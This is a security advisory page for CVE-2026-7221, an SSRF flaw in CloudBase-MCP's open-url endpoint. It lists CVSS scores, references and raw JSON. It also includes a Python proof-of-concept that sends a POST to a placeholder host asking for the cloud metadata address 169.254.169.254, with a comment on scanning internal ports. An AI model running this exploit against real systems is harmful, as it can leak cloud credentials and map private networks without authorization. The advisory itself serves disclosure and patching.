Security Vulnerability Report
中文
CVE-2026-7221 CVSS 7.3 HIGH

CVE-2026-7221

Published: 2026-04-28 04:16:27
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was found in TencentCloudBase CloudBase-MCP up to 2.17.0. Affected is the function openUrl of the file mcp/src/interactive-server.ts of the component open-url API Endpoint. The manipulation of the argument req.body.url results in server-side request forgery. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 2.17.1 is able to address this issue. The patch is identified as 3f678a1e7bd400cd76469d61024097d4920dc6b5. It is recommended to upgrade the affected component.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TencentCloudBase CloudBase-MCP <= 2.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable CloudBase-MCP open-url endpoint target_url = "http://vulnerable-host:port/open-url" # Malicious payload to read internal metadata (common SSRF test) # Attackers can change this to scan internal ports like http://127.0.0.1:22 payload = { "url": "http://169.254.169.254/latest/meta-data/" } try: # Sending the POST request with the malicious body response = requests.post(target_url, json=payload) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7221", "sourceIdentifier": "[email protected]", "published": "2026-04-28T04:16:26.880", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in TencentCloudBase CloudBase-MCP up to 2.17.0. Affected is the function openUrl of the file mcp/src/interactive-server.ts of the component open-url API Endpoint. The manipulation of the argument req.body.url results in server-side request forgery. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version 2.17.1 is able to address this issue. The patch is identified as 3f678a1e7bd400cd76469d61024097d4920dc6b5. It is recommended to upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/TencentCloudBase/CloudBase-MCP/", "source": "[email protected]"}, {"url": "https://github.com/TencentCloudBase/CloudBase-MCP/commit/3f678a1e7bd400cd76469d61024097d4920dc6b5", "source": "[email protected]"}, {"url": "https://github.com/TencentCloudBase/CloudBase-MCP/issues/509", "source": "[email protected]"}, {"url": "https://github.com/TencentCloudBase/CloudBase-MCP/pull/510", "source": "[email protected]"}, {"url": "https://github.com/TencentCloudBase/CloudBase-MCP/releases/tag/v2.17.1", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/802230", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359821", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359821/cti", "source": "[email protected]"}]}}